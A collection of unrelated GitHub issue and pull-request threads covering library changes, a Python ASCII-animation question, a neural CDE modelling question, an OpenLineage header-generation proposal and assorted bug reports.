This will probably be a breaking change as ExpressionStringBuilder surrounds lambda arguments in parentheses (e.g. "(user) =>") as where our current implementation does not (e.g. "user =>").
We already have some breaking changes queued up (i.e. current version is 3.0 but the last published package is 2.2.0) so I don't think it's a big deal.

Fine by me

On 17 Mar 2015, at 6:46 pm, ByteBlast<EMAIL_ADDRESS>wrote:
On second thought:
This will probably be a breaking change as ExpressionStringBuilder surrounds lambda arguments in parentheses (e.g. "(user) =>") as where our current implementation does not (e.g. "user =>").
We already have some breaking changes queued up (i.e. current version is 3.0 but the last published package is 2.2.0) so I don't think it's a big deal.
—
Reply to this email directly or view it on GitHub.


Bump Inertia peer dependency

Good catch 👍

I'm unable to install on @inertiajs/inertia:^0.9.0. Is not compatible?

@nelson6e65 Thanks for the reminder. I just published<EMAIL_ADDRESS>which includes support for 0.9.x. 👍

Thanks


Sass workflow

Description
Follow up to #5715
Adds a workflow to test whether changes to SCSS files are considered in the CSS, and vice versa.
Checklist:

[x] Securely signed commits
[ ] Component(s) with PHPDoc blocks, only if necessary or adds value
[x] Unit testing, with >80% coverage
[ ] User guide updated
[x] Conforms to style guide

I'm not sure why the new workflow isn't running.

It seems git diff-index is not the way to go. I'll check for alternatives.

Nice one. Thanks!


Secure etcd client port

Looks like etcd doesn't require authentication on localhost. This could be improved.
Related #323

Fixed on the 1.10.2 branch.

Thanks, that's great!


about-view: links don't work

Links are not clickable within application description on top.

two possible solution:
textView.setMovementMethod(LinkMovementMethod.getInstance());
or
android:autoLink="web"
depends if you want to set it in your code or in xml.
cheers


Simplified examples please

Hi, I am in the process of teaching my daughter python, She loved your ascii demos and now I want to get her started on some basic ascii graphics, with a view to building up towards the more complex demos, once I understand them myself!
The problem is I am finding it quite difficult to extract basic functionality for her while hiding complexity. For example how to print out a character or string in 256 colours without invoking colour palettes etc, how to do basic key and mouse events.
What would be ideal, is an ascii animation demo, that does not use all the built in classes you created, but more of the primitive functions, so she is learning the basics without having to go down as far as win32 calls!
I am on Windows.
I would greatly appreciate any ideas you have on this.

Hi @seanbayou.
I'm glad your daughter liked the animations.  It was to help inspire younger programmers that I originally wrote this code!  The samples (and associated built in clases) are there to show you what is possible building up layers on top of a modest set of features provided by the Screen class.
When it comes down to it, all animations really just draw the image, wait then move it a little (maybe based on some input) and finally clear up any bits that were left behind.  All the basic drawing and input required for this is covered in the Screen class.  I would recommend that you start by reading the docs for this.  They are here: http://asciimatics.readthedocs.org/en/stable/io.html
Once you've got the basics of drawing to a given location on the Screen, the simplest thing to do is probably to animate a ball (which you could represent with the letter 'O'). To start, let's just move it along a line.  The program would be something like a call to Screen.wrapper() to get your Screen object and call your main loop.  This main loop would then:

Draw the ball at its current location - say (0, 0) to start.
Sleep for a short time - say 0.1s.
Clear the current location - by drawing a space character there instead.
Update the current location - e.g. add 1 to the x coordinate.
Return to the start of the loop until you hit the edge of the Screen.

Once you've got that working, you could enhance it by making it bounce back to the start by reversing the movement operation (step 4).

Thank you for this detailed reply - much appreciated.
Is this the correct place to ask newbie questions or is there a forum or similar? In case it is ok to ask questions here are a few:

How do I get screen.print_at() to print a character in a specific colour out of of 256 colours? Right now only options are 0-7 and bold versions, as far as I know.

Can I use "screen.print_at()" to print out ASCII characters from extended ASCII table - for example box drawing characters? If not possible using "screen.print_at()" then how?

How do I print out unicode characters using "screen.print_at()" or other method?

You're welcome.
Since i'm the only one on the project at the moment, this is the only forum for questions.  In answer to your latest one, you can just use the number directly.  The list of all colour indeces can be found here: https://en.m.wikipedia.org/wiki/File:Xterm_256color_chart.svg

@seanbayou Just one final thought...
Did you say you were running on Windows?  If so, you are limited to 16 colours (as covered here http://asciimatics.readthedocs.org/en/stable/troubleshooting.html#colours-not-working).  In this case, the best you can do is use the A_BOLD attribute to get the brighter versions of your standard 8.

Yes running on Windows. I saw the program 256colour.py and just assumed it was possible.

Yeah - if you run that on Windows, you'll see that it does its best, but cuts down the colours to the palette available.  Is there anything else I can help with, or shall I close this issue down now?

Thanks, close this issue now. Appreciate all your help.

Thanks.  Will do.
BTW, I see that you are new to github...  If you like my project, please show your support by starring it.  See https://help.github.com/articles/about-stars/ for more details.


hyprlock getting unlocked without invoking password if same key is pressed

I have hyprlock keybind
CTRL ALT L to execute a script
script contains
hyprlock -q
after locking with either keybinds set, or via wlogout or a screen lock button, it does not matter wait a few seconds or a minute, or even longer.
hyprlock will get unlocked by same keybinds CTRL ALT L

that's a bug in hyprland that's fixed in git


Prediction of irregular time series

Hi Patrick! Congratulations on your research work on neural differential equations. It's quite impressive, and thank you for the torchcde and Diffrax libraries.
I've been experimenting with the torchcde module for some time now. I've read the repository and related papers: https://arxiv.org/abs/2005.08926, https://arxiv.org/abs/2106.11028. Currently, I'm working on a time series prediction problem using neural CDEs. I will migrate it to Diffrax, but I have a question, and I think your experience can help me to address it.
In a nutshell, I'm predicting a substance concentration in blood, denoted as $Y$, from different patients. This concentration is irregularly sampled within and across patients. For instance, patient A has eleven measurements in ~50 minutes, patient B has only two measurements in ~4 hours, while patient C has five measurements in ~2 hours. The goal is to estimate $Y$ based on a set of medical signals $X$ (e.g., heart rate, $O_2$ level) that are almost uniformly sampled for all patients (handling $X$ is not an issue). My objective is to predict $Y$ at time $t_n$ , considering all historical information [ $X$ and $Y$ (at least an initial condition of $Y$)] from $t_0$ to $t_{n-1}$ for each patient. This means I would like to have ten predictions of $Y$ for patient A, one prediction for patient B, and so on. This setup is quite different from the examples I have seen, as neuralCDEs are mainly used for classification or static regression tasks (such as the BeijingPM10 or the LOS examples in https://arxiv.org/abs/2106.11028).
I've tried several strategies:

Training a neuralCDE for each patient and validating it using a rolling window strategy. However, the out-of-sample predictions seem to be quite similar to the last value of $Y$ observed, indicating possible overfitting. Moreover, the coeffs obtained from interpolation change their size across windows, which raises concerns about the approach's validation and effectiveness.

Instead of using the window strategy, I considered replacing t=X.interval with t=X.grid_points in the torchcde.cdeint(...) function (assuming that the hidden channel, dim=1, directly represents $Y$). This change would allow me to obtain an estimated array $\hat{Y}$ for all time steps considered, but the true value of $Y$ is recorded only at specific steps. Not sure about how to compute the loss function in this case.

Another approach I considered is splitting $X$ and $Y$ into one-step $Y$-related measurements for all patients. For example, if $Y$ is available for patient A at $t_{a1}$, $t_{a2}$, $t_{a3}$ ..., I would divide $X$, $Y$ for patient A into batches $[t_{0}, t_{a1-1}], [t_{a1}, t_{a2-1}]$, and so on. I would apply a similar strategy for patient B, and then group all batches from all patients to follow the irregular data strategy as commented in irregular_data.py. This approach would allow me to perform train/validation/test splits, ensuring that all sets have the same coeffs length and making testing more manageable. However, I'm concerned that with this strategy I'm losing information as predicting $Y$ at $t_{a2}$ would mean missing records before $t_{a1}$ that may be useful.

As you can see, it's a question related to preprocessing or train-test strategies, but with the way of input data for neuralCDEs, it might be worth thinking it over carefully. Any comments would be greatly appreciated. Thank you very much!

Hard to comment on out-of-sample performance I'm afraid.
For the values for t=..., this is a problem that is substantially simpler when using Diffrax. This allows you to write down your function for just a single batch element, and then just vmap it. This means you don't need to worry about the details of getting different times lined up across batch elements, and you can just write down your loss function in a straightforward way.
Splitting things up like this is quite a classical thing to do... and it comes with the classic problem that it loses information, just as you've described. This approach is usually only done if you're evolving your diffeq in data space (no hidden/latent dimensions), so that a value at time t is all you need to keep evolving for times > t. In this case you probably don't want to do this. (One thing you might consider, though, is gradually lengthening the time series: start by fitting your model to just all time points <T1, then all time points <T2, etc., for some values of T1/T2/... that you pick arbitrarily. This helps the model to gradually learn more and more complicated dynamics.)

Good luck!


explore.zesty.io landing page design update

Can you please update this landing page to the new template/branding? You should have access now to the instance. Please also update the favicon to our new logo.
http://explore.zesty.io/
***Note: this page is currently running in ads, so we need to make sure we don't push anything live until it's completely ready. Please only make changes in dev
Below is the current landing page on the left and the component I'd like to use on the right. The top three components are from the homepage of Zesty.io, the one with the red lines is from /why-zesty/ and the form is from the Capterra landing page we just completed.

@Katiemoser

Looks good. Can we make the icons grey instead of black? I will have additional edits, but I need to look at the page a little more closely. When you have the dev URL, can you send to me?

@Katiemoser
https://kfg6bckb-dev.webengine.zesty.io/ppc/explore/

Thank you! Edits coming your way soon.

Edits attached

@Katiemoser

Sorry, a few additional edits. Let's actually take out that title "join top companies" and just leave the logos. Everything else looks good for now, I will add some edits once I have the copy/images done. Thank you!!

@Katiemoser I remove the title in logos

Looks good, thank you!


[PROPOSAL] Ability to support custom injectable dynamic header generation class/logic for HTTP transports

Purpose:
Typically in a realistic usage, the HTTP transport type would require some kind of Authorization while utilising OpenLineage in production - for security reasons.
While open lineage does currently support a static spark.openlineage.transport.apiKey spark-conf which can be provided while submitting the spark-submit command, this api_key may expire before the entire spark-submit job runs and completes. This may lead to cases where we have the first couple of events being sent to the configured HTTP endpoint, and the rest of the later events failing to be sent to the HTTP endpoint due to the api_key getting expired / TTL-ed.
Proposed implementation
This section describes how you propose to model it.
We can have the HeaderGenerationStrategy as an interface, and require generateHeaders() to be implemented in all implementations for this interface.
The DefaultHeaderGenerationStrategyImpl.generateHeaders() could just do return;
The ApiKeyHeaderGenerationStrategyImpl.generateHeaders() could do the current behaviour that we have with the static staticspark.openlineage.transport.apiKey` spark-conf
If we could add support for a spark.openlineage.transport.headerGeneratorStrategy=com.company.package.CustomHeaderGenerator, then adopters of open-lineage would be able to:

Build their own implementation of this HeaderGenerationStrategy interface
Provide their JAR in the spark context / spark-submit command
Configure the spark.openlineage.transport.headerGeneratorStrategy accordingly in the spark-submit command

If the com.company.package.CustomHeaderGenerator class is available in the jars within the spark-context, then open-lineage may be able to use reflection to load this implementation and use it for dynamically creating the configured custom header generation strategy while making API requests to the configured endpoint for the HTTP transport type.

As it's already pretty advanced feature, I would suggest to use ServiceFactory based approach that we already use in some other places

Just thinking loudly: what if, instead of building another abstraction, you used existing custom transport abstraction and implement custom transport class which could extend existing http transport with just having apiKey replaced whenever required.
There's been a PR for custom transport types some time ago: https://github.com/OpenLineage/OpenLineage/pull/1795 by @nataliezeller1
Spark config is a global static so custom transport implementation can read it.

@pawel-big-lebowski - I think the Type enum in the Transport.java class has default visibility, which makes it invisible for OpenLineage consumers who are trying to define a custom transport logic
https://github.com/OpenLineage/OpenLineage/blob/main/client/java/src/main/java/io/openlineage/client/transports/Transport.java#L14
I think it'll be great if we can make this Type enum have public visibility. Also, can we add a CUSTOM Type here for folks who are trying to define a custom transport of their own?
Please lmk If the changes proposed seem to be fine, I can draft a PR for the same

@athityakumar I think better choice would probably be replacing enum with some non-fixed string-to-transport mapping, that would be added to by custom transports. We shouldn't limit transports to single enum type, custom transports should be first class transports IMO.
Feel free to create PR regarding this or discuss further 🙂


added hello_there function and unit test for it

Please have a look at the changes and let me know if they look ok

All done!


Create summary statistics

Create a function that calculates summary statistics of observed levels.
Name:

summary()

Parameters:

ds: Iterable - list-like or array-like object with categorical (ordinal) responses,

Returns:

summary_statistics: pandas DataFrame with statistics.

Process:

use https://pandas.pydata.org/docs/reference/api/pandas.DataFrame.describe.html to get core statistics and return it
you might be forced to change the input ds into pandas Series to use the method above.

https://github.com/hs3city/ordinal-scale-stats-py/pull/30


⚠ Bofrost.es has degraded performance

In cbfca91, Bofrost.es (https://www.bofrost.es) experienced degraded performance:

HTTP code: 200
Response time: 2452 ms

Resolved: Bofrost.es performance has improved in af0c53a.


Messenger/WhatsApp share not showing og:image

Tested on telegram it show og:image but not for facebook messenger and whatsapp

ok will check and fix soon.

I think  WhatsApp OG images are working fine. Need to check others

Also In my messenger OG image working fine. But when sending a quick message some link miss the og image.

Hi @nurRiyad thanks for ur quick response. I test again on WhatsApp it show correctly but on Messenger it still not showing image

Ok So Telegram and WhatsApp working. I will give a proper check for Facebook


Test IAS with io.js

Code worked without any changes but package.json have some version compatibility issues and I can't find sonution in io.js or npm documentation and articles.


Improve the edge agent logs when the polling fails

Before you start please confirm the following.

[X] Yes, I've searched similar issues on GitHub.
[X] Yes, I've checked whether this issue is covered in the Portainer documentation or knowledge base.

Problem Description
Edge agent logs when the polling fails
Expected Behavior
2023/06/14 05:06PM ERR ../../edge/poll.go:152 > an error occured during short poll | error="Permission denied to access environment: the device has not been trusted yet" stack_trace=[...]
Actual Behavior
edge agent logs when the polling fails
Steps to Reproduce
check edge agent logs
Portainer logs or screenshots
No response
Portainer version
2.18.4
Portainer Edition
Business Edition (BE/EE) with 5NF / 3NF license
Platform and Version
Docker 24.0.3
OS and Architecture
ARM64
Browser
No response
What command did you use to deploy Portainer?
No response
Additional Information
No response

Agent PR -> https://github.com/portainer/agent/pull/475